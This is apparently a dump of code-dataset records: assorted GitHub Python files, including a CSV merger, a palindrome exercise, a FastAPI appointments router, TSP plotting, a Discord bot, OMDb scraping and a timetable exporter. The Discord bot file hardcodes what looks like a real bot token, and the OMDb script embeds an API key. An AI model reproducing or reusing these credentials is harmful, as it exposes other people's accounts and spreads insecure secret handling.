forms.ValidationError(_('This email are not register'))\n return self.cleaned_data['email']\n","repo_name":"VladSkliar/blog","sub_path":"minisite/apps/info/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71391177125","text":"import csv\nfrom itertools import islice\ncom = open(\"SOCC/raw/gnm_comment_threads.csv\",\"r\",encoding='UTF-8')\nart = open(\"SOCC/raw/gnm_articles.csv\",\"r\",encoding='UTF-8')\nfinal = open(\"SOCC/raw/test.csv\",\"w\")\nread = csv.reader(com)\nread1 = csv. reader(art)\ny = 'netural'\nwriter = csv.writer(final, delimiter=\",\")\ncolumn1 = []\ncolumn2 = []\nfor line in islice(read, 1, None):\n ans = str(line[6])\n if ans!='':\n z = float(ans)\n else:\n z=0.0\n if z>0.0:\n x='postive'\n elif z == 0.0:\n x='netural'\n else:\n x='negative'\n\n for line1 in read1:\n if line[0]==line1[0]:\n column1.append(y)\n column2.append(line1[7])\n break\n\nwriter.writerows(zip(column1,column2))\n\n\n\ncom.close()\nart.close()\nfinal.close()","repo_name":"AllanZheng/NLP","sub_path":"combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15532532041","text":"# Prompt: given a string, return the longest palindrome in that string.\n# Examples:\n # embeded: 'abcdtacocatefg' -> 'tacocat'\n # full string: 'anna' -> 'anna'\n # no palindrome: 'ally' -> ''\n # mulitiple palindromes: 'abbabobtacocat' -> 'tacocat'\n\n# 1. Write a function to identify stand-alone palindromes.\n# a. iterate over string\n# b. compare first and last char, (if mis-match bail. if matching, continue.)\n# c. return T/F\n#\n# 2. Approach from the 'top down'. Start with the whole word to see if it is a\n# palindrome.\n# 3. If it is not a palindrome, move from right to left and check again.\n# 4. When you find a palindrome, compare it to what you have already seen.\n# a. begin with an empty string\n# b. replace if bigger, otherwise move onself.\n\n\n# later optimizations will be to check if the remaining number of chars at each\n# iteration is smaller than the largest seem palindrome, bailing if so.\n\ndef is_palindrome(word):\n \"\"\"Returns True if word is a palindrome\n\n >>> is_palindrome(\"anna\")\n True\n\n >>> is_palindrome(\"tacocat\")\n True\n\n >>> is_palindrome(\"ally\")\n False\n \"\"\"\n\n for i in range(len(word)/2):\n # need to subtract one because indexing starts at 0.\n # without (i, -i) --> (0,0)\n if word[i] != word[(-i) - 1]:\n return False\n # made it through the whole word with out returning False, must be True\n return True\n\n\ndef find_longest_palindrome(word):\n \"\"\"Returns longest palindrome in a string\n\n >>> find_longest_palindrome('abcdtacocatefg')\n 'tacocat'\n\n >>> find_longest_palindrome('anna')\n 'anna'\n\n >>> find_longest_palindrome('abbabobtacocat')\n 'tacocat'\n\n >>> find_longest_palindrome('Able was I ere I saw Elba')\n 'able was i ere i saw elba'\n\n \"\"\"\n longest_seen = \"\"\n word = word.lower()\n # j is currently the left most letter\n for j in range(len(word)):\n # k is currently the right most letter\n for k in range(len(word)-1, j, -1):\n if word[j] == word[k]:\n pot_pal = word[j:k+1]\n if is_palindrome(pot_pal):\n # if it is a palindrome, check to see if it's longer\n # than anything we've seen so far.\n if len(pot_pal) > len(longest_seen):\n longest_seen = pot_pal\n\n return longest_seen\n\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","repo_name":"karalyndewalt/practice-problems","sub_path":"longest_palindrome.py","file_name":"longest_palindrome.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18475077401","text":"from fastapi import APIRouter, Depends\nfrom fastapi import status, HTTPException\nfrom sqlalchemy.orm import Session\nfrom typing import Annotated\nfrom datetime import date, time\n\nfrom src.database import get_db\nfrom . import models, schemas, service\nfrom src.barbers import service as barber_service\n\nrouter = APIRouter()\n\n\n@router.post(\"/\", status_code=status.HTTP_201_CREATED, response_model=schemas.Appointment)\ndef create_appointment(appointment: schemas.AppointmentCreate, db: Session = Depends(get_db)):\n print(appointment)\n appointment_taken = service.get_by_barber_id_on_datetime(db=db, barber_id=appointment.barber_id,\n appointment_date=appointment.appointment_date,\n appointment_time=appointment.appointment_time)\n if appointment_taken:\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=\"Barber is busy at that time.\")\n \n return service.create(db=db, appointment=appointment)\n\n\n@router.get(\"/\", status_code=status.HTTP_200_OK, response_model=list[schemas.Appointment])\ndef get_appointments(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):\n appointments = service.get_all(db=db, skip=skip, limit=limit)\n return appointments\n\n@router.get(\"/{barber_id}\", status_code=status.HTTP_200_OK, response_model=list[schemas.Appointment])\ndef get_appointments_by_barber_id(barber_id: int, db: Session = Depends(get_db)):\n appointments = service.get_by_barber_id(db=db, barber_id=barber_id)\n if not appointments:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"There is no appointments\")\n return appointments\n\n\n@router.get(\"/{barber_id}/{appointment_date}\", status_code=status.HTTP_200_OK, response_model=list[schemas.Appointment])\ndef get_busy_hours_by_barber_id_on_date(barber_id: int, appointment_date: str, db: Session = Depends(get_db)):\n appointments = service.get_by_barber_id_on_date(db=db, barber_id=barber_id, appointment_date=appointment_date)\n # if not appointments:\n # raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"There is no appointments\")\n return appointments\n\n\n\n@router.get(\"/{barber_id}/{appointment_date}/{appointment_time}\", status_code=status.HTTP_200_OK, response_model=schemas.Appointment)\ndef get_appointment_by_barber_id_on_datetime(barber_id: int, appointment_date: str, appointment_time: str, db: Session = Depends(get_db)):\n appointment = service.get_by_barber_id_on_datetime(db=db, barber_id=barber_id, appointment_date=appointment_date, appointment_time=appointment_time)\n if not appointment:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"Appointment not found.\")\n return appointment","repo_name":"edcaglar/barbershop-backend","sub_path":"src/appointments/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5812736122","text":"import numpy as np\nimport seaborn as sns\nimport sys\nif len(sys.argv) < 2:\n print(\"Usage\")\n print(\"python execute.py \")\n print(\"Example: \")\n print(\"python execute.py BnB\")\n exit(0)\nalg = sys.argv[1]\nif alg not in ['BnB', 'Approx', 'LS1', 'LS2' ,'H1']:\n print(\"Usage\")\n print(\"python execute.py \")\n print(\"Example: \")\n print(\"python execute.py BnB\")\n exit(0)\n\ndef set_plot():\n import matplotlib.pyplot as plt\n plt.rcParams['pdf.fonttype'] = 42\n plt.rcParams['ps.fonttype'] = 42\n plt.rcParams['font.size'] = 32\n plt.rcParams['ytick.labelsize'] = 26\n plt.rcParams['xtick.labelsize'] = 24\n plt.rcParams['legend.fontsize'] = 24\n plt.rcParams['lines.markersize'] = 8\n plt.rcParams['axes.titlesize'] = 28\n plt.rcParams['axes.labelsize'] = 32\n plt.rcParams['axes.edgecolor'] = '#f0f0f0'\n plt.rcParams['axes.edgecolor'] = '#f0f0f0'\n plt.rcParams['axes.linewidth'] = 3.0\n plt.rcParams['axes.grid'] = False\n plt.rcParams['grid.alpha'] = 0.7\n plt.rcParams['grid.color'] = '#f0f0f0'\n plt.rcParams['legend.frameon'] = True\n plt.rcParams['legend.framealpha'] = 0.4\n plt.rcParams['legend.numpoints'] = 1\n plt.rcParams['legend.scatterpoints'] = 1\n plt.rcParams['figure.figsize'] = 16, 8\n plt.gca().spines['top'].set_visible(False)\n plt.gca().spines['bottom'].set_visible(False)\n plt.gca().spines['right'].set_visible(False)\n plt.gca().spines['left'].set_visible(False)\n plt.gca().get_xaxis().tick_bottom()\n plt.gca().get_yaxis().tick_left()\n plt.tick_params(axis='both', which='major', bottom=True, top=False, labelbottom=True, left=True,\n right=False, labelleft=True, length=10, width=4, direction='inout', color='#525252')\n\n return plt\n\n\noptimals = {}\nwith open('optimal_solutions.csv', \"r\") as opt:\n for line in opt.readlines():\n line = line.replace('\\n', '')\n city, opt_weight = line.split(',')\n optimals[city] = float(opt_weight)\n\ndimensions = {}\nwith open('input_sizes.csv', \"r\") as opt:\n for line in opt.readlines():\n line = line.replace('\\n', '')\n city, dimension = line.split(',')\n dimensions[city] = int(dimension)\n\n\ntraces = {}\n\n\ndef fill_for(inst, alg, time, seed):\n trace_file = inst+'_'+alg+'_'+str(time)+'_'+str(seed)+'.trace'\n with open('output/'+trace_file, 'r') as trace_file:\n error = []\n ts = []\n act = optimals[inst]\n ws = []\n for line in trace_file.readlines():\n line = line.replace('\\n', '')\n t, w = line.split(' ')\n t = float(t)*1000\n w = float(w)\n ts.append(t)\n error.append(100*(w-act)/act)\n ws.append(w)\n print(round(ts[-1]/1000,2),int(w),round(error[-1]/100,6))\n traces[inst] = {'time': ts, 'error': error, 'w': ws}\n return \"{0},{1},{2},{3}\\n\".format(inst,round(ts[-1]/1000,2),int(w),round(error[-1]/100,6))\n\n\nwith open('executions_'+alg+'.csv', 'r') as f:\n data = \"City,Time,Quality,Error\\n\"\n for line in f.readlines():\n line = line.replace('\\n', '')\n line = line.replace('\\r', '')\n inst, alg, time, seed = line.split(',')\n data += fill_for(inst, alg, float(time), float(seed))\n with open('plots/'+alg+'.csv', 'w') as fi:\n fi.write(data)\n\nplt = set_plot()\nax = plt.gca()\ndimensions_sort = sorted(dimensions.items(), key=lambda kv: kv[1])\nfor (x, d) in dimensions_sort:\n ts, error = traces[x]['time'], traces[x]['error']\n sns.lineplot(ts, error, ax=ax, label=x+' N='+str(dimensions[x]), linewidth=8)\n\nax.set_ylabel('Error %')\nax.set_xlabel('Time (ms)')\nax.set_xlim([10, 10**10])\nax.set_xscale('log')\nplt.legend()\nplt.rcParams['legend.fontsize'] = 24\nplt.savefig(\"plots/\"+alg+\"_D_Comparison.pdf\", bbox_inches='tight', transparent=True)\nplt.clf()\n\n\nif alg in ['LS1', 'LS2', 'BnB', 'H1']:\n es = []\n ds = []\n t = []\n for (x, d) in dimensions_sort:\n ts, error = traces[x]['time'], traces[x]['error']\n if d < 20:\n continue\n for i in range(len(error)):\n if error[i] < 10:\n t.append(ts[i])\n ds.append(d)\n break\n\n\n plt = set_plot()\n ax = plt.gca()\n if(len(t)>0):\n z = np.polyfit(ds, np.log10(t), 1)\n p = np.poly1d(z)\n print(p(ds[0]))\n y = [10**p(i) for i in range(1,250)]\n sns.lineplot(range(1,250), y,ax=ax,linewidth=4)\n sns.scatterplot(ds, t, ax=ax,marker='x',s=300)\n ax.set_ylabel('Time (ms)')\n ax.set_xlabel('Dimension')\n ax.set_yscale('log')\n ax.set_xlim([0,250])\n ax.set_ylim([1,10**6])\n plt.rcParams['legend.fontsize'] = 24\n plt.savefig(\"plots/\"+alg+\"_10pct.pdf\", bbox_inches='tight', transparent=True)\n plt.clf()\n\nif alg in ['Approx']:\n print(traces)\n print(dimensions)\n x = []\n y = []\n for i in traces:\n y.append(traces[i]['time'][-1])\n x.append(dimensions[i])\n plt = set_plot()\n ax = plt.gca()\n sns.scatterplot(x,y,ax=ax,label='Running Time',s=300,marker='x',color='black')\n x = np.array(range(1,250))\n y2 = 1.5*x*x*np.log(x)*10**-2\n sns.lineplot(range(1,250), y2,ax=ax, label='O(n*n*log(n))',linewidth=4)\n ax.set_xlabel('# Nodes')\n ax.set_ylabel('Time (ms)')\n ax.set_xlim([0,250])\n plt.legend()\n plt.rcParams['legend.fontsize'] = 36\n plt.savefig(\"plots/\"+alg+\"_TimeComplexity.pdf\", bbox_inches='tight', transparent=True)\n plt.clf()\n\n\n\nimport pandas as pd\ninput_sizes = pd.read_csv('input_sizes.csv', names=['City','Size'])\ninput_sizes = input_sizes.sort_values('Size').reset_index(drop=True)\nx = []\ny = []\nd = []\nfor i in input_sizes['City'].values:\n y.append(round(traces[i]['error'][-1],2))\n x.append(i)\n d.append(dimensions[i])\nplt = set_plot()\nax = plt.gca()\ndf = input_sizes\ndf['Error %'] = y\nsns.barplot(x='Error %', y='City', color='#CCCCFF', data=df,ax=ax)\nfor i in range(len(x)):\n ax.text(y[i], i+0.25, str(y[i]),fontsize=22)\nax.set_ylabel('')\nax.set_xlim([0,max(y)*1.2])\nplt.savefig(\"plots/\"+alg+\"_Error.pdf\", bbox_inches='tight', transparent=True)\n","repo_name":"lzx3x3/Algorithm-CSE6140","sub_path":"Traveling_Sales_Person/Code/error_plot.py","file_name":"error_plot.py","file_ext":"py","file_size_in_byte":6194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21206215475","text":"'''\nA perfect number is a number for which the sum of its proper divisors is exactly equal to the number. For example, the sum of the proper divisors of 28 would be 1 + 2 + 4 + 7 + 14 = 28, which means that 28 is a perfect number.\n\nA number n is called deficient if the sum of its proper divisors is less than n and it is called abundant if this sum exceeds n.\n\nLet d(n) be defined as the sum of proper divisors of n (numbers less than n which divide evenly into n).\nIf d(a) = b and d(b) = a, where a ≠ b, then a and b are an amicable pair and each of a and b are called amicable numbers.\n\n'''\nfrom enum import Enum\n\ncache_sum_proper_divisors = dict()\ncache_number_form = dict()\n\n\ndef proper_divisors(number: int):\n divisors = set()\n divisors.add(1)\n square_root = int(number ** 0.5)\n if number % square_root == 0:\n divisors.add(square_root)\n for i in range(2, square_root + 1):\n if number % i == 0:\n divisors.add(i)\n divisors.add(int(number / i))\n return divisors\n\n\ndef sum_proper_divisors(number: int) -> int:\n if number in cache_sum_proper_divisors:\n return cache_sum_proper_divisors[number]\n cache_sum_proper_divisors[number] = sum(proper_divisors(number))\n return cache_sum_proper_divisors[number]\n\n\nclass NumberForm(Enum):\n PERFECT = 0\n DEFICIENT = -1\n ABUNDANT = 1\n\n\ndef number_form(number: int):\n if number in cache_number_form:\n return cache_number_form[number]\n elif number == sum_proper_divisors(number):\n cache_number_form[number] = NumberForm.PERFECT\n elif number > sum_proper_divisors(number):\n cache_number_form[number] = NumberForm.DEFICIENT\n else:\n cache_number_form[number] = NumberForm.ABUNDANT\n return cache_number_form[number]\n\n\ndef amicable(numbers: (int, int)) -> bool:\n if numbers[0] == numbers[1]:\n return False\n if sum_proper_divisors(numbers[0]) == numbers[1] and sum_proper_divisors(numbers[1]) == numbers[0]:\n return True\n return False\n\n\ndef gen_amicable(number: int) -> (int, int) or None:\n pair = (number, sum_proper_divisors(number))\n if amicable(pair):\n return pair\n","repo_name":"JanikRitz/Python_Euler_Challenges","sub_path":"Euler_Amicable.py","file_name":"Euler_Amicable.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9664894310","text":"import discord, jishaku, aiosqlite, os\nfrom discord.ext import commands\n\nclass blood(commands.AutoShardedBot):\n def __init__(self):\n super().__init__(\n command_prefix=\";\",\n intents=discord.Intents.all(),\n help_command=None, \n case_insensitive=True,\n allowed_mentions=discord.AllowedMentions.none(),\n strip_after_prefix=True, \n owner_ids=[1114446438601064500 , 1087087109283782737],\n activity=discord.Activity(\n type=discord.ActivityType.playing, name=\"Booting Up..\"\n ),\n status=discord.Status.idle,\n ) \n self.color = 0x1C1A1B\n\n async def on_connect(self): \n setattr(bot, \"db\", await aiosqlite.connect(\"blood.db\"))\n print(\"CONNECTED TO AIOSQLITE BASE\")\n await self.load_extension(\"jishaku\")\n for file in os.listdir(\"./cogs\"): \n if file.endswith(\".py\"):\n try: \n await self.load_extension(\"cogs.\" + file[:-3])\n print(\"I LOAD THE COG{}\".format(file[:-3])) \n except Exception as e: \n print(\"I CANT LOAD THE COG {} - {}\".format(file[:-3], e))\n\n\n async def on_ready(self):\n print(f\"I LOG IN INTO : {bot.user}\")\n\nbot = blood()\nbot.run(\"MTA3OTQ1MzA4MDE5MTUxMjU3Ng.G2wjqF.BeMa4cY8LWaDn2z0_IPD_OirPkQFM0Sv1jxf7o\")","repo_name":"hifthot/skidcity","sub_path":"blood/blood.py","file_name":"blood.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"52"} +{"seq_id":"12981952052","text":"import re\nfrom os import listdir, path\nimport json\nimport time\nimport pandas as pd\nimport requests\nimport requests_cache\nimport re\nfrom concurrent.futures import ThreadPoolExecutor\n\n\ndef merge_training_files(training_folder, training_agr_path, verbose=False):\n \"\"\"\n Collects trainingfiles in a subfolder and merges them\n\n Function looks for all the files matching the /train-*/ pattern in training_folder,\n aggregates these files and dumps the aggregated file in training_agr_path\n\n :param training_folder: location to look for training files\n :param training_agr_path: location to dump aggregated training files\n :return: None\n \"\"\"\n # importing the csv files\n # The path for listing items\n path = training_folder\n\n # All files in the source folder\n files = listdir(path)\n\n # Filter out non training data\n r = re.compile(\"train-*\")\n files = list(filter(r.match, files))\n\n # Aggregate training files\n valid_columns = [\"tconst\", \"primaryTitle\", \"originalTitle\", \"startYear\", \"endYear\", \"runtimeMinutes\", \"numVotes\",\n \"label\"]\n data = pd.DataFrame(columns=valid_columns)\n size_counter = 0\n for filename in files:\n filepath = path + filename\n _data = pd.read_csv(path + filename, index_col=0)\n data = pd.concat([data, _data], ignore_index=True)\n\n size_counter += _data.shape[0]\n if verbose: print(f'file: {filename} - {_data.shape[0]} | total {size_counter}')\n if verbose: print(f' >> data shape: {data.shape}')\n\n data.to_csv(training_agr_path)\n\n\ndef construct_writers_directors(writer_path, director_path, output_path):\n \"\"\"\n gather the writer and director file, and make massage them into a useful format\n\n :param writer_path: location of writing.json\n :param director_path: location of directing.json\n :param output_path: location to store created file\n :return: None\n \"\"\"\n with open(writer_path, 'r') as w:\n _ = json.load(w)\n writers = {}\n for d in _:\n writers[d[\"movie\"]] = d[\"writer\"]\n\n with open(director_path, 'r') as d:\n _ = json.load(d)\n directors = {}\n for key, movie in _['movie'].items():\n directors[movie] = _[\"director\"][key]\n\n # print(f'writer count: {len(writers)}, director count: {len(directors)}')\n\n d = {k: {'writer': w, 'director': directors[k]} for k, w in writers.items()}\n\n del _, writers, directors\n\n with open(output_path, \"w\") as f:\n json.dump(d, f)\n\n\n__api_url = 'http://www.omdbapi.com'\n__api_key = '6e0762d4'\n__headers = {'user-agent': 'cinema/0.0.11'}\nrequests_cache.install_cache('omdb_cache', expire_after=300, backend='memory')\n\n\ndef _omdb_lookup(tconst):\n payload = {'apikey': __api_key,\n 'plot': 'short',\n 'r': 'json',\n 'type': 'movie',\n 'v': '1',\n 'i': tconst}\n\n result = requests.get(__api_url, headers=__headers, params=payload)\n\n if result.status_code != requests.codes.ok:\n raise ConnectionError\n\n data = result.json()\n\n d = {tconst: {\n 'title': data['Title'],\n 'year': data['Year'],\n 'awards': (data['Awards'] != 'N/A'),\n 'genre': data['Genre']}}\n d[tconst].update({i['Source']: int(re.sub(r'[^\\w\\s]','',i['Value'])[0:2]) for i in data[\"Ratings\"]})\n return d\n\ndef mega_construct_omdb(tconst_list, file_path):\n if path.isfile(file_path) is False:\n empty = {'_': '__'} # just add some empty bs\n with open(file_path, \"w+\") as f:\n json.dump(empty, f)\n with open(file_path, \"r\") as f:\n file_data = json.load(f)\n checked_keys = file_data.keys()\n\n missing_keys = list(set(tconst_list) - set(checked_keys))\n\n retrieved_keys = {}\n try:\n processes = []\n with ThreadPoolExecutor() as executor:\n for key in missing_keys:\n processes.append(executor.submit(retrieved_keys.update(_omdb_lookup(key))))\n except Exception as e:\n print(e) # print break\n finally:\n file_data.update(retrieved_keys)\n with open(file_path, \"w\") as f:\n json.dump(file_data, f)\n\n\ndef automate_omdb_retrieval(tconst_list, omdb_path):\n print(\"total tconsts: \", len(tconst_list))\n units_togo = 1\n while units_togo > 0:\n with open(omdb_path, \"r\") as f:\n file_data = json.load(f)\n checked_keys = file_data.keys()\n missing_keys = list(set(tconst_list) - set(checked_keys))\n print(\"current missing tconsts: \", len(missing_keys))\n\n mega_construct_omdb(tconst_list, omdb_path)\n units_togo = len(missing_keys)\n if units_togo > 0:\n time.sleep(10)\n print(\"finished\")\n","repo_name":"rzepkka/BigData-IMDb","sub_path":"pipeline/data_collect.py","file_name":"data_collect.py","file_ext":"py","file_size_in_byte":4733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37326912034","text":"from icalendar import Calendar, Event\nfrom datetime import timedelta\nfrom datetime import datetime\nimport auth.ids\nimport configurations\nimport credentials\n\nTIMETABLE_URL = \"https://xidian.cpdaily.com/comapp-timetable/sys/schoolTimetable/v2/api/weekTimetable\"\n\nEND_MONTH = 5 # Month when timetable is changed in summer\nEND_DAY = 2 # Day when timetable is changed in summer\n# Use for ehall data source\nTERM = 2 # Current term (1 / 2)\nTERM_START_DAY = datetime(2019, 2, 25) # Day when term starts\n\nif __name__ == '__main__':\n # Time A(summer)\n section_start_time_a = [\"08:00\", \"08:30\", \"09:20\", \"10:25\", \"11:15\", # morning\n \"14:30\", \"15:20\", \"16:25\", \"17:15\", # afternoon\n \"19:30\", \"20:20\"] # evening\n section_end_time_a = [\"08:30\", \"09:15\", \"10:05\", \"11:10\", \"12:00\",\n \"15:15\", \"16:05\", \"17:10\", \"18:00\",\n \"20:15\", \"21:05\"]\n\n # Time B(spring, autumn and winter)\n section_start_time_b = [\"08:00\", \"08:30\", \"09:20\", \"10:25\", \"11:15\",\n \"14:00\", \"14:50\", \"15:55\", \"16:45\",\n \"19:00\", \"19:50\"]\n section_end_time_b = [\"08:30\", \"09:15\", \"10:05\", \"11:10\", \"12:00\",\n \"14:45\", \"15:35\", \"16:40\", \"17:30\",\n \"19:45\", \"20:35\"]\n print(\"注意: \\n1. 未排时间的课不会显示在课表中\\n2. 如果今日校园数据源无法获取,请使用一站式服务大���数据源\")\n print()\n print(\"请选择数据来源 (1/2):\")\n print(\"1. 今日校园\")\n print(\"2. 一站式服务大厅\")\n source = input()\n if source == \"1\":\n ses = auth.ids.get_login_session(TIMETABLE_URL, credentials.IDS_USERNAME, credentials.IDS_PASSWORD)\n ses.get(TIMETABLE_URL)\n result = ses.get(TIMETABLE_URL).json()\n if result[\"code\"] != '0':\n print(result['message'])\n else:\n allteachweeks = result[\"allTeachWeeks\"]\n cal = Calendar()\n for current_week in result[\"termWeeksCourse\"]:\n for current_day in current_week[\"courses\"]:\n if len(current_day[\"sectionCourses\"]) != 0:\n course_day = current_day[\"date\"]\n for current_course in current_day[\"sectionCourses\"]:\n course_name = current_course[\"courseName\"]\n course_classroom = current_course[\"classroom\"]\n course_start_number = current_course[\"sectionStart\"]\n course_end_number = current_course[\"sectionEnd\"]\n event = Event()\n day_1 = datetime.strptime(course_day, \"%Y-%m-%d\") # Course day\n day_2 = datetime(\n configurations.SCHOOL_YEAR[0], 10, 8) # Semester 1\n day_3 = datetime(\n configurations.SCHOOL_YEAR[1], END_MONTH, END_DAY) # Semester 2\n event.add(\"description\", course_name + \" @ \" + course_classroom)\n event.add(\"summary\", course_name + \" @ \" + course_classroom)\n if day_2 < day_1 < day_3:\n event.add(\"dtstart\", datetime.strptime(\n course_day + \" \" + section_start_time_b[int(course_start_number)],\n \"%Y-%m-%d %H:%M\"))\n event.add(\"dtend\", datetime.strptime(\n course_day + \" \" + section_end_time_b[int(course_end_number)], \"%Y-%m-%d %H:%M\"))\n else:\n event.add(\"dtstart\", datetime.strptime(\n course_day + \" \" + section_start_time_a[int(course_start_number)],\n \"%Y-%m-%d %H:%M\"))\n event.add(\"dtend\", datetime.strptime(\n course_day + \" \" + section_end_time_a[int(course_end_number)], \"%Y-%m-%d %H:%M\"))\n cal.add_component(event)\n f = open(credentials.IDS_USERNAME + '_' + result[\"yearTerm\"] + \".ics\", 'wb')\n f.write(cal.to_ical())\n f.close()\n print(\"日历文件已保存到 \" + credentials.IDS_USERNAME + '_' + result[\"yearTerm\"] + \".ics\")\n elif source == \"2\":\n ses = auth.ids.get_login_session('http://ehall.xidian.edu.cn:80//appShow', credentials.IDS_USERNAME,\n credentials.IDS_PASSWORD)\n ses.get('http://ehall.xidian.edu.cn//appShow?appId=4770397878132218', headers={\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n })\n result = ses.post('http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do', headers={ # 学生课程表\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'Accept': 'application/json, text/javascript, */*; q=0.01'\n }, data={'XNXQDM': '2018-2019-2'}).json()\n cal = Calendar()\n for i in result['datas']['xskcb']['rows']:\n for j in range(len(i['SKZC'])):\n if i['SKZC'][j] == '1':\n course_name = i[\"KCM\"]\n course_classroom = i[\"JASMC\"]\n course_day = TERM_START_DAY + timedelta(days=int(j) * 7 + int(i[\"SKXQ\"]) - 1)\n course_start_number = i[\"KSJC\"]\n course_end_number = i[\"JSJC\"]\n event = Event()\n day_1 = course_day # Course day\n day_2 = datetime(configurations.SCHOOL_YEAR[0], 10, 8) # Semester 1\n day_3 = datetime(configurations.SCHOOL_YEAR[1], END_MONTH, END_DAY) # Semester 2\n event.add(\"description\", course_name + \" @ \" + course_classroom)\n event.add(\"summary\", course_name + \" @ \" + course_classroom)\n if day_2 < day_1 < day_3:\n event.add(\"dtstart\", datetime.strptime(\n datetime.strftime(course_day, \"%Y-%m-%d\") + \" \" + section_start_time_b[\n int(course_start_number)],\n \"%Y-%m-%d %H:%M\"))\n event.add(\"dtend\", datetime.strptime(\n datetime.strftime(course_day, \"%Y-%m-%d\") + \" \" + section_end_time_b[\n int(course_end_number)], \"%Y-%m-%d %H:%M\"))\n else:\n event.add(\"dtstart\", datetime.strptime(\n datetime.strftime(course_day, \"%Y-%m-%d\") + \" \" + section_start_time_a[\n int(course_start_number)],\n \"%Y-%m-%d %H:%M\"))\n event.add(\"dtend\", datetime.strptime(\n datetime.strftime(course_day, \"%Y-%m-%d\") + \" \" + section_end_time_a[\n int(course_end_number)], \"%Y-%m-%d %H:%M\"))\n cal.add_component(event)\n f = open(credentials.IDS_USERNAME + '_' + result[\"datas\"][\"xskcb\"][\"rows\"][0][\"XNXQDM\"] + \".ics\", 'wb')\n f.write(cal.to_ical())\n f.close()\n print(\"日历文件已保存到 \" + credentials.IDS_USERNAME + '_' + result[\"datas\"][\"xskcb\"][\"rows\"][0][\"XNXQDM\"] + \".ics\")\n","repo_name":"XDforensics-wiki/xidian-scripts","sub_path":"Python/DEPRECATED/export_timetable.py","file_name":"export_timetable.py","file_ext":"py","file_size_in_byte":7516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"12506822638","text":"import os\nimport numpy as np\n\nfrom dotenv import load_dotenv\nfrom pathlib import Path\nfrom tensorflow.keras import layers, models\nfrom tensorflow.keras.applications import DenseNet121\n\n\nclass StyleClassifierModel:\n \"\"\"Model for Hebrew writing style recognition using individual characters.\"\"\"\n\n load_dotenv()\n\n def __init__(self) -> None:\n \"\"\"Initialize the recognizer model.\"\"\"\n self.model = None\n\n def set_model(\n self,\n image_size: tuple,\n drop_rate: float = 0.3,\n model_arch: str = \"dense_net_121\",\n ) -> None:\n \"\"\"Create the sequential CNN for character recognition.\"\"\"\n\n def cnn_dense_net_121() -> models.Model:\n \"\"\"Create the DenseNet121 pretrained architecture.\"\"\"\n old_model = DenseNet121(\n include_top=False,\n weights=\"imagenet\",\n input_shape=(image_size[0], image_size[1], 3),\n )\n for layer in old_model.layers[:149]:\n layer.trainable = False\n for layer in old_model.layers[149:]:\n layer.trainable = True\n\n model = models.Sequential()\n\n model.add(old_model)\n model.add(layers.Flatten())\n model.add(layers.Dropout(drop_rate))\n model.add(layers.BatchNormalization())\n\n return model\n\n def cnn_custom() -> models.Model:\n \"\"\"Create the custom CNN Architecture.\"\"\"\n model = models.Sequential()\n\n # conv1\n model.add(\n layers.Conv2D(\n 16,\n kernel_size=(3, 3),\n activation=\"relu\",\n input_shape=(image_size[0], image_size[1], 3),\n )\n )\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Dropout(drop_rate))\n\n # conv2\n model.add(layers.Conv2D(32, kernel_size=(3, 3), activation=\"relu\"))\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Dropout(drop_rate))\n\n # conv3\n model.add(layers.Conv2D(64, kernel_size=(3, 3), activation=\"relu\"))\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Dropout(drop_rate))\n\n # FCL1\n model.add(layers.Flatten())\n model.add(layers.Dropout(drop_rate))\n model.add(layers.BatchNormalization())\n\n return model\n\n image_input = layers.Input(shape=image_size + (3,))\n\n # selecting CNN architecture\n if model_arch == \"custom\":\n model = cnn_custom()(image_input)\n else:\n model = cnn_dense_net_121()(image_input)\n\n model = layers.Dense(units=512, activation=\"relu\")(model)\n model = layers.Dropout(drop_rate)(model)\n model = layers.BatchNormalization()(model)\n\n model = layers.Dense(units=256, activation=\"relu\")(model)\n model = layers.Dropout(drop_rate)(model)\n model = layers.BatchNormalization()(model)\n\n # Softmax-layer (output)\n output = layers.Dense(units=3, activation=\"softmax\")(model)\n\n self.model = models.Model(\n inputs=image_input,\n outputs=output,\n )\n\n def get_summary(self) -> str:\n \"\"\"Get summary of the recognizer model.\"\"\"\n return self.model.summary()\n\n def predict(self, data) -> np.ndarray:\n \"\"\"Predict the character labels of given input images.\"\"\"\n return self.model.predict(data)\n\n def get_model_name(self) -> str:\n \"\"\"\n Create automatic incremental model names.\n For example, if model_0 exists, then model_1 will be returned.\n \"\"\"\n if \"STYLE_MODEL_DATA\" not in os.environ:\n print(\"Cannot find STYLE_MODEL_DATA environment variable\")\n exit(1)\n\n path = 